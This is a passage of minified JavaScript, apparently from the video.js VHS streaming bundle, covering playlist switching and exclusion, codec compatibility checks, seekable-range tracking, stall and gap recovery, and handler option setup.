e=this.getCodecsOrExclude_();e&&this.sourceUpdater_.addOrChangeSourceBuffers(e)};this.mainSegmentLoader_.on("trackinfo",e),this.audioSegmentLoader_.on("trackinfo",e),this.mainSegmentLoader_.on("fmp4",(()=>{this.triggeredFmp4Usage||(this.tech_.trigger({type:"usage",name:"vhs-fmp4"}),this.triggeredFmp4Usage=!0)})),this.audioSegmentLoader_.on("fmp4",(()=>{this.triggeredFmp4Usage||(this.tech_.trigger({type:"usage",name:"vhs-fmp4"}),this.triggeredFmp4Usage=!0)})),this.audioSegmentLoader_.on("ended",(()=>{this.logger_("audioSegmentLoader ended"),this.onEndOfStream()}))}mediaSecondsLoaded_(){return Math.max(this.audioSegmentLoader_.mediaSecondsLoaded+this.mainSegmentLoader_.mediaSecondsLoaded)}load(){this.mainSegmentLoader_.load(),this.mediaTypes_.AUDIO.activePlaylistLoader&&this.audioSegmentLoader_.load(),this.mediaTypes_.SUBTITLES.activePlaylistLoader&&this.subtitleSegmentLoader_.load()}fastQualityChange_(e=this.selectPlaylist()){e!==this.mainPlaylistLoader_.media()?(this.switchMedia_(e,"fast-quality"),this.mainSegmentLoader_.resetEverything((()=>{da.browser.IE_VERSION||da.browser.IS_EDGE?this.tech_.setCurrentTime(this.tech_.currentTime()+.04):this.tech_.setCurrentTime(this.tech_.currentTime())}))):this.logger_("skipping fastQualityChange because new media is same as old")}play(){if(this.setupFirstPlay())return;this.tech_.ended()&&this.tech_.setCurrentTime(0),this.hasPlayed_&&this.load();const e=this.tech_.seekable();return this.tech_.duration()===1/0&&this.tech_.currentTime()<e.start(0)?this.tech_.setCurrentTime(e.end(e.length-1)):void 0}setupFirstPlay(){const e=this.mainPlaylistLoader_.media();if(!e||this.tech_.paused()||this.hasPlayed_)return!1;if(!e.endList){const e=this.seekable();if(!e.length)return!1;if(da.browser.IE_VERSION&&0===this.tech_.readyState())return this.tech_.one("loadedmetadata",(()=>{this.trigger("firstplay"),this.tech_.setCurrentTime(e.end(0)),this.hasPlayed_=!0})),!1;this.trigger("firstplay"),this.tech_.setCurrentTime(e.end(0))}return this.hasPlayed_=!0,this.load(),!0}handleSourceOpen_(){if(this.tryToCreateSourceBuffers_(),this.tech_.autoplay()){const e=this.tech_.play();void 0!==e&&"function"==typeof e.then&&e.then(null,(e=>{}))}this.trigger("sourceopen")}handleSourceEnded_(){if(!this.inbandTextTracks_.metadataTrack_)return;const e=this.inbandTextTracks_.metadataTrack_.cues;if(!e||!e.length)return;const t=this.duration();e[e.length-1].endTime=isNaN(t)||Math.abs(t)===1/0?Number.MAX_VALUE:t}handleDurationChange_(){this.tech_.trigger("durationchange")}onEndOfStream(){let e=this.mainSegmentLoader_.ended_;if(this.mediaTypes_.AUDIO.activePlaylistLoader){const t=this.mainSegmentLoader_.getCurrentMediaInfo_();e=!t||t.hasVideo?e&&this.audioSegmentLoader_.ended_:this.audioSegmentLoader_.ended_}e&&(this.stopABRTimer_(),this.sourceUpdater_.endOfStream())}stuckAtPlaylistEnd_(e){if(!this.seekable().length)return!1;const t=this.syncController_.getExpiredTime(e,this.duration());if(null===t)return!1;const i=eu.Playlist.playlistEnd(e,t),n=this.tech_.currentTime(),r=this.tech_.buffered();if(!r.length)return i-n<=Ta;const s=r.end(r.length-1);return s-n<=Ta&&i-s<=Ta}excludePlaylist({playlistToExclude:e=this.mainPlaylistLoader_.media(),error:t={},playlistExclusionDuration:i}){if(e=e||this.mainPlaylistLoader_.media(),i=i||t.playlistExclusionDuration||this.playlistExclusionDuration,!e)return this.error=t,void("open"!==this.mediaSource.readyState?this.trigger("error"):this.sourceUpdater_.endOfStream("network"));e.playlistErrors_++;const n=this.mainPlaylistLoader_.main.playlists,r=n.filter(Fa),s=1===r.length&&r[0]===e;if(1===n.length&&i!==1/0)return da.log.warn(`Problem encountered with playlist ${e.id}. Trying again since it is the only playlist.`),this.tech_.trigger("retryplaylist"),this.mainPlaylistLoader_.load(s);if(s){let t=!1;n.forEach((i=>{if(i===e)return;const n=i.excludeUntil;void 0!==n&&n!==1/0&&(t=!0,delete i.excludeUntil)})),t&&(da.log.warn("Removing other playlists from the exclusion list because the last rendition is about to be excluded."),this.tech_.trigger("retryplaylist"))}let a;a=e.playlistErrors_>this.maxPlaylistRetries?1/0:Date.now()+1e3*i,e.excludeUntil=a,t.reason&&(e.lastExcludeReason_=t.reason),this.tech_.trigger("excludeplaylist"),this.tech_.trigger({type:"usage",name:"vhs-rendition-excluded"});const o=this.selectPlaylist();if(!o)return this.error="Playback cannot continue. No available working or supported playlists.",void this.trigger("error");const l=t.internal?this.logger_:da.log.warn,u=t.message?" "+t.message:"";l(`${t.internal?"Internal problem":"Problem"} encountered with playlist ${e.id}.${u} Switching to playlist ${o.id}.`),o.attributes.AUDIO!==e.attributes.AUDIO&&this.delegateLoaders_("audio",["abort","pause"]),o.attributes.SUBTITLES!==e.attributes.SUBTITLES&&this.delegateLoaders_("subtitle",["abort","pause"]),this.delegateLoaders_("main",["abort","pause"]);const c=o.targetDuration/2*1e3||5e3,d="number"==typeof o.lastRequest&&Date.now()-o.lastRequest<=c;return this.switchMedia_(o,"exclude",s||d)}pauseLoading(){this.delegateLoaders_("all",["abort","pause"]),this.stopABRTimer_()}delegateLoaders_(e,t){const i=[],n="all"===e;(n||"main"===e)&&i.push(this.mainPlaylistLoader_);const r=[];(n||"audio"===e)&&r.push("AUDIO"),(n||"subtitle"===e)&&(r.push("CLOSED-CAPTIONS"),r.push("SUBTITLES")),r.forEach((e=>{const t=this.mediaTypes_[e]&&this.mediaTypes_[e].activePlaylistLoader;t&&i.push(t)})),["main","audio","subtitle"].forEach((t=>{const n=this[`${t}SegmentLoader_`];!n||e!==t&&"all"!==e||i.push(n)})),i.forEach((e=>t.forEach((t=>{"function"==typeof e[t]&&e[t]()}))))}setCurrentTime(e){const t=Sa(this.tech_.buffered(),e);return this.mainPlaylistLoader_&&this.mainPlaylistLoader_.media()&&this.mainPlaylistLoader_.media().segments?t&&t.length?e:(this.mainSegmentLoader_.resetEverything(),this.mainSegmentLoader_.abort(),this.mediaTypes_.AUDIO.activePlaylistLoader&&(this.audioSegmentLoader_.resetEverything(),this.audioSegmentLoader_.abort()),this.mediaTypes_.SUBTITLES.activePlaylistLoader&&(this.subtitleSegmentLoader_.resetEverything(),this.subtitleSegmentLoader_.abort()),void this.load()):0}duration(){if(!this.mainPlaylistLoader_)return 0;const e=this.mainPlaylistLoader_.media();return e?e.endList?this.mediaSource?this.mediaSource.duration:eu.Playlist.duration(e):1/0:0}seekable(){return this.seekable_}onSyncInfoUpdate_(){let e;if(!this.mainPlaylistLoader_)return;let t=this.mainPlaylistLoader_.media();if(!t)return;let i=this.syncController_.getExpiredTime(t,this.duration());if(null===i)return;const n=this.mainPlaylistLoader_.main,r=eu.Playlist.seekable(t,i,eu.Playlist.liveEdgeDelay(n,t));if(0===r.length)return;if(this.mediaTypes_.AUDIO.activePlaylistLoader){if(t=this.mediaTypes_.AUDIO.activePlaylistLoader.media(),i=this.syncController_.getExpiredTime(t,this.duration()),null===i)return;if(e=eu.Playlist.seekable(t,i,eu.Playlist.liveEdgeDelay(n,t)),0===e.length)return}let s,a;this.seekable_&&this.seekable_.length&&(s=this.seekable_.end(0),a=this.seekable_.start(0)),e?e.start(0)>r.end(0)||r.start(0)>e.end(0)?this.seekable_=r:this.seekable_=ba([[e.start(0)>r.start(0)?e.start(0):r.start(0),e.end(0)<r.end(0)?e.end(0):r.end(0)]]):this.seekable_=r,this.seekable_&&this.seekable_.length&&this.seekable_.end(0)===s&&this.seekable_.start(0)===a||(this.logger_(`seekable updated [${xa(this.seekable_)}]`),this.tech_.trigger("seekablechanged"))}updateDuration(e){if(this.updateDuration_&&(this.mediaSource.removeEventListener("sourceopen",this.updateDuration_),this.updateDuration_=null),"open"!==this.mediaSource.readyState)return this.updateDuration_=this.updateDuration.bind(this,e),void this.mediaSource.addEventListener("sourceopen",this.updateDuration_);if(e){const e=this.seekable();if(!e.length)return;return void((isNaN(this.mediaSource.duration)||this.mediaSource.duration<e.end(e.length-1))&&this.sourceUpdater_.setDuration(e.end(e.length-1)))}const t=this.tech_.buffered();let i=eu.Playlist.duration(this.mainPlaylistLoader_.media());t.length>0&&(i=Math.max(i,t.end(t.length-1))),this.mediaSource.duration!==i&&this.sourceUpdater_.setDuration(i)}dispose(){this.trigger("dispose"),this.decrypter_.terminate(),this.mainPlaylistLoader_.dispose(),this.mainSegmentLoader_.dispose(),this.loadOnPlay_&&this.tech_.off("play",this.loadOnPlay_),["AUDIO","SUBTITLES"].forEach((e=>{const t=this.mediaTypes_[e].groups;for(const e in t)t[e].forEach((e=>{e.playlistLoader&&e.playlistLoader.dispose()}))})),this.audioSegmentLoader_.dispose(),this.subtitleSegmentLoader_.dispose(),this.sourceUpdater_.dispose(),this.timelineChangeController_.dispose(),this.stopABRTimer_(),this.updateDuration_&&this.mediaSource.removeEventListener("sourceopen",this.updateDuration_),this.mediaSource.removeEventListener("durationchange",this.handleDurationChange_),this.mediaSource.removeEventListener("sourceopen",this.handleSourceOpen_),this.mediaSource.removeEventListener("sourceended",this.handleSourceEnded_),this.off()}main(){return this.mainPlaylistLoader_.main}media(){return this.mainPlaylistLoader_.media()||this.initialMedia_}areMediaTypesKnown_(){const e=!!this.mediaTypes_.AUDIO.activePlaylistLoader,t=!!this.mainSegmentLoader_.getCurrentMediaInfo_(),i=!e||!!this.audioSegmentLoader_.getCurrentMediaInfo_();return!(!t||!i)}getCodecsOrExclude_(){const e={main:this.mainSegmentLoader_.getCurrentMediaInfo_()||{},audio:this.audioSegmentLoader_.getCurrentMediaInfo_()||{}},t=this.mainSegmentLoader_.getPendingSegmentPlaylist()||this.media();e.video=e.main;const i=tl(this.main(),t),n={},r=!!this.mediaTypes_.AUDIO.activePlaylistLoader;if(e.main.hasVideo&&(n.video=i.video||e.main.videoCodec||"avc1.4d400d"),e.main.isMuxed&&(n.video+=`,${i.audio||e.main.audioCodec||R}`),(e.main.hasAudio&&!e.main.isMuxed||e.audio.hasAudio||r)&&(n.audio=i.audio||e.main.audioCodec||e.audio.audioCodec||R,e.audio.isFmp4=e.main.hasAudio&&!e.main.isMuxed?e.main.isFmp4:e.audio.isFmp4),!n.audio&&!n.video)return void this.excludePlaylist({playlistToExclude:t,error:{message:"Could not determine codecs for playlist."},playlistExclusionDuration:1/0});const s={};let a;if(["video","audio"].forEach((function(t){if(n.hasOwnProperty(t)&&(i=e[t].isFmp4,r=n[t],!(i?j(r):N(r)))){const i=e[t].isFmp4?"browser":"muxer";s[i]=s[i]||[],s[i].push(n[t]),"audio"===t&&(a=i)}var i,r})),r&&a&&t.attributes.AUDIO){const e=t.attributes.AUDIO;this.main().playlists.forEach((i=>{(i.attributes&&i.attributes.AUDIO)===e&&i!==t&&(i.excludeUntil=1/0)})),this.logger_(`excluding audio group ${e} as ${a} does not support codec(s): "${n.audio}"`)}if(!Object.keys(s).length){if(this.sourceUpdater_.hasCreatedSourceBuffers()&&!this.sourceUpdater_.canChangeType()){const e=[];if(["video","audio"].forEach((t=>{const i=(O(this.sourceUpdater_.codecs[t]||"")[0]||{}).type,r=(O(n[t]||"")[0]||{}).type;i&&r&&i.toLowerCase()!==r.toLowerCase()&&e.push(`"${this.sourceUpdater_.codecs[t]}" -> "${n[t]}"`)})),e.length)return void this.excludePlaylist({playlistToExclude:t,error:{message:`Codec switching not supported: ${e.join(", ")}.`,internal:!0},playlistExclusionDuration:1/0})}return n}{const e=Object.keys(s).reduce(((e,t)=>(e&&(e+=", "),e+`${t} does not support codec(s): "${s[t].join(",")}"`)),"")+".";this.excludePlaylist({playlistToExclude:t,error:{internal:!0,message:e},playlistExclusionDuration:1/0})}}tryToCreateSourceBuffers_(){if("open"!==this.mediaSource.readyState||this.sourceUpdater_.hasCreatedSourceBuffers())return;if(!this.areMediaTypesKnown_())return;const e=this.getCodecsOrExclude_();if(!e)return;this.sourceUpdater_.createSourceBuffers(e);const t=[e.video,e.audio].filter(Boolean).join(",");this.excludeIncompatibleVariants_(t)}excludeUnsupportedVariants_(){const e=this.main().playlists,t=[];Object.keys(e).forEach((i=>{const n=e[i];if(-1!==t.indexOf(n.id))return;t.push(n.id);const r=tl(this.main,n),s=[];!r.audio||N(r.audio)||j(r.audio)||s.push(`audio codec ${r.audio}`),!r.video||N(r.video)||j(r.video)||s.push(`video codec ${r.video}`),r.text&&"stpp.ttml.im1t"===r.text&&s.push(`text codec ${r.text}`),s.length&&(n.excludeUntil=1/0,this.logger_(`excluding ${n.id} for unsupported: ${s.join(", ")}`))}))}excludeIncompatibleVariants_(e){const t=[],i=this.main().playlists,n=Qo(O(e)),r=el(n),s=n.video&&O(n.video)[0]||null,a=n.audio&&O(n.audio)[0]||null;Object.keys(i).forEach((e=>{const n=i[e];if(-1!==t.indexOf(n.id)||n.excludeUntil===1/0)return;t.push(n.id);const o=[],l=tl(this.mainPlaylistLoader_.main,n),u=el(l);if(l.audio||l.video){if(u!==r&&o.push(`codec count "${u}" !== "${r}"`),!this.sourceUpdater_.canChangeType()){const e=l.video&&O(l.video)[0]||null,t=l.audio&&O(l.audio)[0]||null;e&&s&&e.type.toLowerCase()!==s.type.toLowerCase()&&o.push(`video codec "${e.type}" !== "${s.type}"`),t&&a&&t.type.toLowerCase()!==a.type.toLowerCase()&&o.push(`audio codec "${t.type}" !== "${a.type}"`)}o.length&&(n.excludeUntil=1/0,this.logger_(`excluding ${n.id}: ${o.join(" && ")}`))}}))}updateAdCues_(e){let t=0;const i=this.seekable();i.length&&(t=i.start(0)),function(e,t,i=0){if(!e.segments)return;let n,s=i;for(let i=0;i<e.segments.length;i++){const a=e.segments[i];if(n||(n=Hl(t,s+a.duration/2)),n){if("cueIn"in a){n.endTime=s,n.adEndTime=s,s+=a.duration,n=null;continue}if(s<n.endTime){s+=a.duration;continue}n.endTime+=a.duration}else if("cueOut"in a&&(n=new(r().VTTCue)(s,s+a.duration,a.cueOut),n.adStartTime=s,n.adEndTime=s+parseFloat(a.cueOut),t.addCue(n)),"cueOutCont"in a){const[e,i]=a.cueOutCont.split("/").map(parseFloat);n=new(r().VTTCue)(s,s+a.duration,""),n.adStartTime=s-e,n.adEndTime=n.adStartTime+i,t.addCue(n)}s+=a.duration}}(e,this.cueTagsTrack_,t)}goalBufferLength(){const e=this.tech_.currentTime(),t=Do.GOAL_BUFFER_LENGTH,i=Do.GOAL_BUFFER_LENGTH_RATE,n=Math.max(t,Do.MAX_GOAL_BUFFER_LENGTH);return Math.min(t+e*i,n)}bufferLowWaterLine(){const e=this.tech_.currentTime(),t=Do.BUFFER_LOW_WATER_LINE,i=Do.BUFFER_LOW_WATER_LINE_RATE,n=Math.max(t,Do.MAX_BUFFER_LOW_WATER_LINE),r=Math.max(t,Do.EXPERIMENTAL_MAX_BUFFER_LOW_WATER_LINE);return Math.min(t+e*i,this.bufferBasedABR?r:n)}bufferHighWaterLine(){return Do.BUFFER_HIGH_WATER_LINE}}class ru{constructor(e,t,i){const{playlistController_:n}=e,r=n.fastQualityChange_.bind(n);if(t.attributes){const e=t.attributes.RESOLUTION;this.width=e&&e.width,this.height=e&&e.height,this.bandwidth=t.attributes.BANDWIDTH,this.frameRate=t.attributes["FRAME-RATE"]}var s,a,o;this.codecs=tl(n.main(),t),this.playlist=t,this.id=i,this.enabled=(s=e.playlists,a=t.id,o=r,e=>{const t=s.main.playlists[a],i=Ha(t),n=Fa(t);return void 0===e?n:(e?delete t.disabled:t.disabled=!0,e===n||i||(o(),e?s.trigger("renditionenabled"):s.trigger("renditiondisabled")),e)})}}const su=["seeking","seeked","pause","playing","error"];class au{constructor(e){this.playlistController_=e.playlistController,this.tech_=e.tech,this.seekable=e.seekable,this.allowSeeksWithinUnsafeLiveWindow=e.allowSeeksWithinUnsafeLiveWindow,this.liveRangeSafeTimeDelta=e.liveRangeSafeTimeDelta,this.media=e.media,this.consecutiveUpdates=0,this.lastRecordedTime=null,this.checkCurrentTimeTimeout_=null,this.logger_=va("PlaybackWatcher"),this.logger_("initialize");const t=()=>this.monitorCurrentTime_(),i=()=>this.monitorCurrentTime_(),n=()=>this.techWaiting_(),s=()=>this.resetTimeUpdate_(),a=this.playlistController_,o=["main","subtitle","audio"],l={};o.forEach((e=>{l[e]={reset:()=>this.resetSegmentDownloads_(e),updateend:()=>this.checkSegmentDownloads_(e)},a[`${e}SegmentLoader_`].on("appendsdone",l[e].updateend),a[`${e}SegmentLoader_`].on("playlistupdate",l[e].reset),this.tech_.on(["seeked","seeking"],l[e].reset)}));const u=e=>{["main","audio"].forEach((t=>{a[`${t}SegmentLoader_`][e]("appended",this.seekingAppendCheck_)}))};this.seekingAppendCheck_=()=>{this.fixesBadSeeks_()&&(this.consecutiveUpdates=0,this.lastRecordedTime=this.tech_.currentTime(),u("off"))},this.clearSeekingAppendCheck_=()=>u("off"),this.watchForBadSeeking_=()=>{this.clearSeekingAppendCheck_(),u("on")},this.tech_.on("seeked",this.clearSeekingAppendCheck_),this.tech_.on("seeking",this.watchForBadSeeking_),this.tech_.on("waiting",n),this.tech_.on(su,s),this.tech_.on("canplay",i),this.tech_.one("play",t),this.dispose=()=>{this.clearSeekingAppendCheck_(),this.logger_("dispose"),this.tech_.off("waiting",n),this.tech_.off(su,s),this.tech_.off("canplay",i),this.tech_.off("play",t),this.tech_.off("seeking",this.watchForBadSeeking_),this.tech_.off("seeked",this.clearSeekingAppendCheck_),o.forEach((e=>{a[`${e}SegmentLoader_`].off("appendsdone",l[e].updateend),a[`${e}SegmentLoader_`].off("playlistupdate",l[e].reset),this.tech_.off(["seeked","seeking"],l[e].reset)})),this.checkCurrentTimeTimeout_&&r().clearTimeout(this.checkCurrentTimeTimeout_),this.resetTimeUpdate_()}}monitorCurrentTime_(){this.checkCurrentTime_(),this.checkCurrentTimeTimeout_&&r().clearTimeout(this.checkCurrentTimeTimeout_),this.checkCurrentTimeTimeout_=r().setTimeout(this.monitorCurrentTime_.bind(this),250)}resetSegmentDownloads_(e){const t=this.playlistController_[`${e}SegmentLoader_`];this[`${e}StalledDownloads_`]>0&&this.logger_(`resetting possible stalled download count for ${e} loader`),this[`${e}StalledDownloads_`]=0,this[`${e}Buffered_`]=t.buffered_()}checkSegmentDownloads_(e){const t=this.playlistController_,i=t[`${e}SegmentLoader_`],n=i.buffered_(),r=function(e,t){if(e===t)return!1;if(!e&&t||!t&&e)return!0;if(e.length!==t.length)return!0;for(let i=0;i<e.length;i++)if(e.start(i)!==t.start(i)||e.end(i)!==t.end(i))return!0;return!1}(this[`${e}Buffered_`],n);this[`${e}Buffered_`]=n,r?this.resetSegmentDownloads_(e):(this[`${e}StalledDownloads_`]++,this.logger_(`found #${this[`${e}StalledDownloads_`]} ${e} appends that did not increase buffer (possible stalled download)`,{playlistId:i.playlist_&&i.playlist_.id,buffered:La(n)}),this[`${e}StalledDownloads_`]<10||(this.logger_(`${e} loader stalled download exclusion`),this.resetSegmentDownloads_(e),this.tech_.trigger({type:"usage",name:`vhs-${e}-download-exclusion`}),"subtitle"!==e&&t.excludePlaylist({error:{message:`Excessive ${e} segment downloading detected.`},playlistExclusionDuration:1/0})))}checkCurrentTime_(){if(this.tech_.paused()||this.tech_.seeking())return;const e=this.tech_.currentTime(),t=this.tech_.buffered();if(this.lastRecordedTime===e&&(!t.length||e+Ta>=t.end(t.length-1)))return this.techWaiting_();this.consecutiveUpdates>=5&&e===this.lastRecordedTime?(this.consecutiveUpdates++,this.waiting_()):e===this.lastRecordedTime?this.consecutiveUpdates++:(this.consecutiveUpdates=0,this.lastRecordedTime=e)}resetTimeUpdate_(){this.consecutiveUpdates=0}fixesBadSeeks_(){if(!this.tech_.seeking())return!1;const e=this.seekable(),t=this.tech_.currentTime();let i;if(this.afterSeekableWindow_(e,t,this.media(),this.allowSeeksWithinUnsafeLiveWindow)&&(i=e.end(e.length-1)),this.beforeSeekableWindow_(e,t)){const t=e.start(0);i=t+(t===e.end(0)?0:Ta)}if(void 0!==i)return this.logger_(`Trying to seek outside of seekable at time ${t} with seekable range ${xa(e)}. Seeking to ${i}.`),this.tech_.setCurrentTime(i),!0;const n=this.playlistController_.sourceUpdater_,r=this.tech_.buffered(),s=n.audioBuffer?n.audioBuffered():null,a=n.videoBuffer?n.videoBuffered():null,o=this.media(),l=o.partTargetDuration?o.partTargetDuration:2*(o.targetDuration-wa),u=[s,a];for(let e=0;e<u.length;e++)if(u[e]&&Da(u[e],t)<l)return!1;const c=Ma(r,t);return 0!==c.length&&(i=c.start(0)+Ta,this.logger_(`Buffered region starts (${c.start(0)})  just beyond seek point (${t}). Seeking to ${i}.`),this.tech_.setCurrentTime(i),!0)}waiting_(){if(this.techWaiting_())return;const e=this.tech_.currentTime(),t=this.tech_.buffered(),i=Sa(t,e);return i.length&&e+3<=i.end(0)?(this.resetTimeUpdate_(),this.tech_.setCurrentTime(e),this.logger_(`Stopped at ${e} while inside a buffered region [${i.start(0)} -> ${i.end(0)}]. Attempting to resume playback by seeking to the current time.`),void this.tech_.trigger({type:"usage",name:"vhs-unknown-waiting"})):void 0}techWaiting_(){const e=this.seekable(),t=this.tech_.currentTime();if(this.tech_.seeking())return!0;if(this.beforeSeekableWindow_(e,t)){const i=e.end(e.length-1);return this.logger_(`Fell out of live window at time ${t}. Seeking to live point (seekable end) ${i}`),this.resetTimeUpdate_(),this.tech_.setCurrentTime(i),this.tech_.trigger({type:"usage",name:"vhs-live-resync"}),!0}const i=this.tech_.vhs.playlistController_.sourceUpdater_,n=this.tech_.buffered();if(this.videoUnderflow_({audioBuffered:i.audioBuffered(),videoBuffered:i.videoBuffered(),currentTime:t}))return this.resetTimeUpdate_(),this.tech_.setCurrentTime(t),this.tech_.trigger({type:"usage",name:"vhs-video-underflow"}),!0;const r=Ma(n,t);return r.length>0&&(this.logger_(`Stopped at ${t} and seeking to ${r.start(0)}`),this.resetTimeUpdate_(),this.skipTheGap_(t),!0)}afterSeekableWindow_(e,t,i,n=!1){if(!e.length)return!1;let r=e.end(e.length-1)+Ta;return!i.endList&&n&&(r=e.end(e.length-1)+3*i.targetDuration),t>r}beforeSeekableWindow_(e,t){return!!(e.length&&e.start(0)>0&&t<e.start(0)-this.liveRangeSafeTimeDelta)}videoUnderflow_({videoBuffered:e,audioBuffered:t,currentTime:i}){if(!e)return;let n;if(e.length&&t.length){const r=Sa(e,i-3),s=Sa(e,i),a=Sa(t,i);a.length&&!s.length&&r.length&&(n={start:r.end(0),end:a.end(0)})}else Ma(e,i).length||(n=this.gapFromVideoUnderflow_(e,i));return!!n&&(this.logger_(`Encountered a gap in video from ${n.start} to ${n.end}. Seeking to current time ${i}`),!0)}skipTheGap_(e){const t=this.tech_.buffered(),i=this.tech_.currentTime(),n=Ma(t,i);this.resetTimeUpdate_(),0!==n.length&&i===e&&(this.logger_("skipTheGap_:","currentTime:",i,"scheduled currentTime:",e,"nextRange start:",n.start(0)),this.tech_.setCurrentTime(n.start(0)+wa),this.tech_.trigger({type:"usage",name:"vhs-gap-skip"}))}gapFromVideoUnderflow_(e,t){const i=function(e){if(e.length<2)return ba();const t=[];for(let i=1;i<e.length;i++){const n=e.end(i-1),r=e.start(i);t.push([n,r])}return ba(t)}(e);for(let e=0;e<i.length;e++){const n=i.start(e),r=i.end(e);if(t-n<4&&t-n>2)return{start:n,end:r}}return null}}const ou={errorInterval:30,getSource(e){return e(this.tech({IWillNotUseThisInPlugins:!0}).currentSource_||this.currentSource())}},lu=function(e,t){let i=0,n=0;const r=ya(ou,t);e.ready((()=>{e.trigger({type:"usage",name:"vhs-error-reload-initialized"})}));const s=function(){n&&e.currentTime(n)},a=function(t){null!=t&&(n=e.duration()!==1/0&&e.currentTime()||0,e.one("loadedmetadata",s),e.src(t),e.trigger({type:"usage",name:"vhs-error-reload"}),e.play())},o=function(){if(Date.now()-i<1e3*r.errorInterval)e.trigger({type:"usage",name:"vhs-error-reload-canceled"});else{if(r.getSource&&"function"==typeof r.getSource)return i=Date.now(),r.getSource.call(e,a);da.log.error("ERROR: reloadSourceOnError - The option getSource must be a function!")}},l=function(){e.off("loadedmetadata",s),e.off("error",o),e.off("dispose",l)};e.on("error",o),e.on("dispose",l),e.reloadSourceOnError=function(t){l(),lu(e,t)}};const cu={PlaylistLoader:oo,Playlist:Va,utils:bo,STANDARD_PLAYLIST_SELECTOR:ll,INITIAL_PLAYLIST_SELECTOR:function(){const e=this.playlists.main.playlists.filter(Va.isEnabled);return sl(e,((e,t)=>al(e,t))),e.filter((e=>!!tl(this.playlists.main,e).video))[0]||null},lastBandwidthSelector:ll,movingAverageBandwidthSelector:function(e){let t=-1,i=-1;if(e<0||e>1)throw new Error("Moving average bandwidth decay must be between 0 and 1.");return function(){const n=this.useDevicePixelRatio&&r().devicePixelRatio||1;return t<0&&(t=this.systemBandwidth,i=this.systemBandwidth),this.systemBandwidth>0&&this.systemBandwidth!==i&&(t=e*this.systemBandwidth+(1-e)*t,i=this.systemBandwidth),ol(this.playlists.main,t,parseInt(rl(this.tech_.el(),"width"),10)*n,parseInt(rl(this.tech_.el(),"height"),10)*n,this.limitRenditionByPlayerDimensions,this.playlistController_)}},comparePlaylistBandwidth:al,comparePlaylistResolution:function(e,t){let i,n;return e.attributes.RESOLUTION&&e.attributes.RESOLUTION.width&&(i=e.attributes.RESOLUTION.width),i=i||r().Number.MAX_VALUE,t.attributes.RESOLUTION&&t.attributes.RESOLUTION.width&&(n=t.attributes.RESOLUTION.width),n=n||r().Number.MAX_VALUE,i===n&&e.attributes.BANDWIDTH&&t.attributes.BANDWIDTH?e.attributes.BANDWIDTH-t.attributes.BANDWIDTH:i-n},xhr:co()};Object.keys(Do).forEach((e=>{Object.defineProperty(cu,e,{get:()=>(da.log.warn(`using Vhs.${e} is UNSAFE be sure you know what you are doing`),Do[e]),set(t){da.log.warn(`using Vhs.${e} is UNSAFE be sure you know what you are doing`),"number"!=typeof t||t<0?da.log.warn(`value of Vhs.${e} must be greater than or equal to 0`):Do[e]=t}})}));const du="videojs-vhs",hu=function(e,t){const i=t.media();let n=-1;for(let t=0;t<e.length;t++)if(e[t].id===i.id){n=t;break}e.selectedIndex_=n,e.trigger({selectedIndex:n,type:"change"})};cu.canPlaySource=function(){return da.log.warn("VHS is no longer a tech. Please remove it from your player's techOrder.")};const pu=()=>{if(!r().localStorage)return null;const e=r().localStorage.getItem(du);if(!e)return null;try{return JSON.parse(e)}catch(e){return null}};cu.supportsNativeHls=function(){if(!a()||!a().createElement)return!1;const e=a().createElement("video");return!!da.getTech("Html5").isSupported()&&["application/vnd.apple.mpegurl","audio/mpegurl","audio/x-mpegurl","application/x-mpegurl","video/x-mpegurl","video/mpegurl","application/mpegurl"].some((function(t){return/maybe|probably/i.test(e.canPlayType(t))}))}(),cu.supportsNativeDash=!!(a()&&a().createElement&&da.getTech("Html5").isSupported())&&/maybe|probably/i.test(a().createElement("video").canPlayType("application/dash+xml")),cu.supportsTypeNatively=e=>"hls"===e?cu.supportsNativeHls:"dash"===e&&cu.supportsNativeDash,cu.isSupported=function(){return da.log.warn("VHS is no longer a tech. Please remove it from your player's techOrder.")};const fu=da.getComponent("Component");class mu extends fu{constructor(e,t,i){if(super(t,i.vhs),"number"==typeof i.initialBandwidth&&(this.options_.bandwidth=i.initialBandwidth),this.logger_=va("VhsHandler"),t.options_&&t.options_.playerId){const e=da.getPlayer(t.options_.playerId);this.player_=e}if(this.tech_=t,this.source_=e,this.stats={},this.ignoreNextSeekingEvent_=!1,this.setOptions_(),this.options_.overrideNative&&t.overrideNativeAudioTracks&&t.overrideNativeVideoTracks)t.overrideNativeAudioTracks(!0),t.overrideNativeVideoTracks(!0);else if(this.options_.overrideNative&&(t.featuresNativeVideoTracks||t.featuresNativeAudioTracks))throw new Error("Overriding native VHS requires emulated tracks. See https://git.io/vMpjB");this.on(a(),["fullscreenchange","webkitfullscreenchange","mozfullscreenchange","MSFullscreenChange"],(e=>{const t=a().fullscreenElement||a().webkitFullscreenElement||a().mozFullScreenElement||a().msFullscreenElement;t&&t.contains(this.tech_.el())?this.playlistController_.fastQualityChange_():this.playlistController_.checkABR_()})),this.on(this.tech_,"seeking",(function(){this.ignoreNextSeekingEvent_?this.ignoreNextSeekingEvent_=!1:this.setCurrentTime(this.tech_.currentTime())})),this.on(this.tech_,"error",(function(){this.tech_.error()&&this.playlistController_&&this.playlistController_.pauseLoading()})),this.on(this.tech_,"play",this.play)}setOptions_(){if(this.options_.withCredentials=this.options_.withCredentials||!1,this.options_.limitRenditionByPlayerDimensions=!1!==this.options_.limitRenditionByPlayerDimensions,this.options_.useDevicePixelRatio=this.options_.useDevicePixelRatio||!1,this.options_.useBandwidthFromLocalStorage=void 0!==this.source_.useBandwidthFromLocalStorage?this.source_.useBandwidthFromLocalStorage:this.options_.useBandwidthFromLocalStorage||!1,this.options_.useNetworkInformationApi=this.options_.useNetworkInformationApi||!1,this.options_.useDtsForTimestampOffset=this.options_.useDtsForTimestampOffset||!1,this.options_.customTagParsers=this.options_.customTagParsers||[],this.options_.customTagMappers=this.options_.customTagMappers||[],this.options_.cacheEncryptionKeys=this.options_.cacheEncryptionKeys||!1,this.options_.llhls=!1!==this.options_.llhls,this.options_.bufferBasedABR=this.options_.bufferBasedABR||!1,"number"!=typeof this.options_.playlistExclusionDuration&&(this.options_.playlistExclusionDuration=300),"number"!=typeof this.options_.bandwidth&&this.options_.useBandwidthFromLocalStorage){const e=pu();e&&e.bandwidth&&(this.options_.bandwidth=e.bandwidth,this.tech_.trigger({type:"usage",name:"vhs-bandwidth-from-local-storage"})),e&&e.throughput&&(this.options_.throughput=e.throughput,this.tech_.trigger({type:"usage",name:"vhs-throughput-from-local-storage"}))}"number"!=typeof 